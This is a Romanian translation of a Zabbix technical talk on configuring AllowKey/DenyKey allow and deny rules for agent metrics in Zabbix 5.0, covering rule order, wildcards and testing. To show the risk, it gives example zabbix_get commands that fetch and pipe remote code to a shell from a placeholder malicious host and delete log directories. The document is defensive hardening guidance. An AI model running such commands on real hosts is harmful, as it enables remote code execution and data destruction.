Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Suport pentru liste negre și albe pentru metrici pe partea agentului

Tihon Uskov, Inginer de integrare, Zabbix

Probleme de securitate a datelor

În Zabbix 5.0 a fost introdusă o nouă funcție care îmbunătățește securitatea în sistemele care folosesc Zabbix Agent și înlocuiește vechea opțiune EnableRemoteCommands.

Îmbunătățirea securității sistemelor care folosesc agentul se datorează faptului că agentul poate executa un număr semnificativ de acțiuni potențial periculoase.

  • Agentul poate colecta practic orice informație, inclusiv date confidențiale sau potențial periculoase, din fișierele de configurare, fișierele de jurnal, fișierele cu parole sau orice alte fișiere.

De exemplu, cu ajutorul utilitarului zabbix_get se poate accesa lista utilizatorilor, directoarele lor de acasă, fișierele cu parole etc.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Acces la date cu ajutorul utilitarului zabbix_get

NOTĂ. Datele pot fi obținute doar dacă agentul are permisiuni de citire pentru fișierul corespunzător. Însă, de exemplu, fișierul /etc/passwd/ este accesibil pentru citire pentru toți utilizatorii.

  • Agentul poate, de asemenea, să execute comenzi potențial periculoase. De exemplu, cheia *system.run[]** permite executarea oricăror comenzi remote pe nodurile rețelei, inclusiv rularea din interfața web Zabbix a scripturilor care execută, de asemenea, comenzi pe partea agentului.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • În Linux, agentul se rulează în mod implicit fără privilegii de root, în timp ce în Windows acesta se rulează ca servis în numele System și are acces nelimitat la sistemul de fișiere. Prin urmare, dacă după instalare nu se fac modificări în parametrii Zabbix Agent, agentul are acces la registru, sistemul de fișiere și poate executa interogări WMI.

În versiunile anterioare, parametrul EnableRemoteCommands=0 permitea doar dezactivarea metricilor cu cheia *system.run[]** și executarea scripturilor din interfața web, dar nu era posibil să se restricționeze accesul la fișierele individuale, să se permită sau să se interzică anumite chei care erau setate împreună cu agentul, sau să se limiteze utilizarea anumitor parametri.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Utilizarea parametrului EnableRemoteCommand în versiunile anterioare Zabbix

AllowKey/DenyKey

Zabbix 5.0 ajută la protejarea împotriva accesului neautorizat prin intermediul listelor albe și negre pentru a permite și interzice metrici pe partea agentului.

În Zabbix 5.0 toate cheile, inclusiv *system.run[]**, sunt permise, și au fost adăugate două noi parametrii de configurare a agentului:

AllowKey= — verificările permise;

DenyKey= — verificările interzise;

unde — modelul numelui cheii cu parametrii, în care sunt folosite metacaractere (*).

Cheile AllowKey și DenyKey permit autorizarea sau interzicerea anumitor metrici pe baza unui anumit șablon. Spre deosebire de alte parametere de configurare, numărul de parametrii AllowKey/DenyKey nu este limitat. Acest lucru permite o definire clară a ceea ce agentul poate face în sistem, datorită creării unui arbore de verificări — chei executate, unde ordinea acestora este foarte importantă.

Secvența regulilor

Regulile sunt verificate în ordinea în care au fost introduse în fișierul de configurare. Verificarea cheii conform regulilor se realizează până la prima potrivire, și imediat ce cheia elementului de date se potrivește cu modelul, este autorizată sau interzisă. După aceea, verificarea regulilor se oprește, iar celelalte chei sunt ignorate.

Prin urmare, dacă un element se potrivește atât cu o regulă de autorizare, cât și cu una de interzicere, rezultatul va depinde de care regulă apare prima în fișierul de configurare.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

2 reguli diferite cu același model și cheie vfs.file.size[/tmp/file]

Ordinea utilizării cheilor AllowKey/DenyKey:

  1. reguli exacte,
  2. reguli generale,
  3. regula de interzicere.

De exemplu, dacă aveți nevoie de acces la fișiere dintr-un anumit folder, trebuie mai întâi să permiteți accesul la ele, după care să interziceți tot ce nu se încadrează în permisiunile stabilite. Dacă se utilizează mai întâi o regulă de interzicere, accesul la folder va fi interzis.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Secvența corectă

Dacă este necesar să permiteți rularea a 2 utilitare prin *system.run[]**, și se va specifica mai întâi o regulă de interzicere, utilitarele nu vor putea fi rulate, deoarece primul model va corespunde întotdeauna oricărei chei, iar regulile ulterioare vor fi ignorate.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Secvența greșită

Modele

Reguli de bază

Modelul — o expresie cu caractere wildcard. Metacaracterul (*) corespunde oricărei cantități de simboluri în anumite poziții. Metacaracterii pot fi folosiți atât în numele cheii, cât și în parametrii. De exemplu, se poate defini strâns textul primului parametru, iar următorul se poate specifica ca wildcard.

Parametrii trebuie să fie încadrați în paranteze [].

  • system.run[* — greșit
  • vfs.file*.txt] — greșit
  • vfs.file.*[*] — corect

Exemple de utilizare a wildcard.

  1. În numele cheii și în parametru. În acest caz, cheia nu corespunde unei chei similare care nu conține parametrul, deoarece în model am specificat că dorim să obținem o anumită terminație a numelui cheii și un anumit set de parametri.
  2. Dacă în model nu sunt folosite paranteze pătrate, modelul permite toate cheile care nu conțin parametri și interzice toate cheile cu parametrul specificat.
  3. Dacă cheia este scrisă complet, iar parametrii sunt specificați ca wildcard, aceasta va corespunde oricărei chei similare cu orice parametri și nu va corespunde cheii fără paranteze pătrate, adică va fi permisă sau interzisă.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Reguli pentru completarea parametrilor.

  • Dacă se presupune utilizarea unei chei cu parametri, parametrii trebuie să fie specificați în fișierul de configurație. Parametrii trebuie indicați ca metasimboli. Este necesar să se interzică cu atenție accesul la orice fișier și să se ia în considerare ce informații poate returna metricul în funcție de variantele de scriere — cu parametri și fără.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Particularități ale scrierii cheilor cu parametri

  • Dacă cheia este specificată cu parametri, dar parametrii sunt opționali și indicați ca metasimbol, cheia fără parametri va fi permisă. De exemplu, dacă doriți să interziceți obținerea informațiilor despre încărcarea CPU și specificați că cheia system.cpu.load[*] trebuie să fie interzisă, nu uitați că cheia fără parametri va returna valoarea medie a încărcării.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Reguli pentru completarea parametrilor

Note

Configurare

  • Unele reguli nu pot fi modificate de utilizator, de exemplu, regulile de descoperire (discovery) sau de auto-înregistrare a agenților. Regulele AllowKey/DenyKey nu afectează următoarele parametri:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

NOTĂ. Dacă administratorul interzice o anumită cheie, Zabbix nu va returna informații despre motivul pentru care metrica sau cheia intră în categoria 'NOTSUPPORTED'. În jurnalele de log ale agentului, informațiile despre interdicțiile de execuție a comenzilor la distanță de asemenea nu sunt afișate. Acest lucru s-a făcut din motive de securitate, dar poate complică depanarea, dacă metricile intră în categoria nesuportată din diverse motive..

  • Nu trebuie să te aștepți la o anumită ordine de conectare a fișierelor externe de configurație (de exemplu, în ordine alfabetică).

Utilitare de linie de comandă

După configurarea regulilor, trebuie să te asiguri că totul este setat corect.

Poți alege dintre cele trei opțiuni:

  • Adaugă metrica în Zabbix.
  • Testează cu ajutorul zabbix_agentd. Agentul Zabbix cu opțiunea -print (-p) arată toate cheile (care sunt permise în mod implicit), cu excepția celor care nu sunt permise prin configurație. Iar cu opțiunea -test (-t) pentru o cheie interzisă va returna 'Unsupported item key‘.
  • Testează cu ajutorul zabbix_get. Utilitară zabbix_get cu opțiunea -k va returna 'ZBX_NOTSUPPORTED: Unknown metric‘.

Permite sau interzice

Poți interzice accesul la fișier și să te asiguri, de exemplu, cu utilitarul zabbix_get, că accesul la fișier este interzis.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

**

NOTĂ. Ghilimelele din parametru sunt ignorate.

În același timp, accesul la un astfel de fișier poate fi permis pe o altă cale. De exemplu, dacă acesta este urmat de un link simbolic.

Suport pentru liste negre și albe pentru metrici pe partea agentului în Zabbix 5.0.

Se recomandă verificarea diferitelor opțiuni de aplicare a regulilor definite, precum și luarea în considerare a modalităților de a lansa restricțiile.

Întrebări și răspunsuri

Întrebare. De ce a fost aleasă o schemă de tipare atât de complexă pentru descrierea regulilor, permisiunilor și interdicțiilor? De ce nu a fost posibilă folosirea, de exemplu, a expresiilor regulate utilizate de Zabbix?

Răspuns. Aceasta este o chestiune legată de performanța regex, deoarece agentul, de obicei, este unul singur și verifică un număr enorm de metrici. Expresiile regulate sunt o operațiune destul de greoaie, iar noi nu putem verifica mii de metrici în acest fel. Wildcards sunt o soluție versatilă, larg folosită și simplă..

ÎntrebareNu cumva fișierele Include sunt conectate în ordine alfabetică?

Răspuns. Din câte știu, este practic imposibil să prezici secvența de aplicare a regulilor, dacă îți răspândești regulile în fișiere diferite. Recomand să aduni toate regulile AllowKey/DenyKey într-un singur fișier Include, deoarece acestea interacționează între ele, și să conectezi acest fișier..

Întrebare. În Zabbix 5.0, opțiunea 'EnableRemoteCommands=' în fișierul de configurare este absentă, iar doar AllowKey/DenyKey sunt disponibile?

Răspuns. Da, este corect.

Vă mulțumesc pentru atenție!

Sursa: habr.com

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster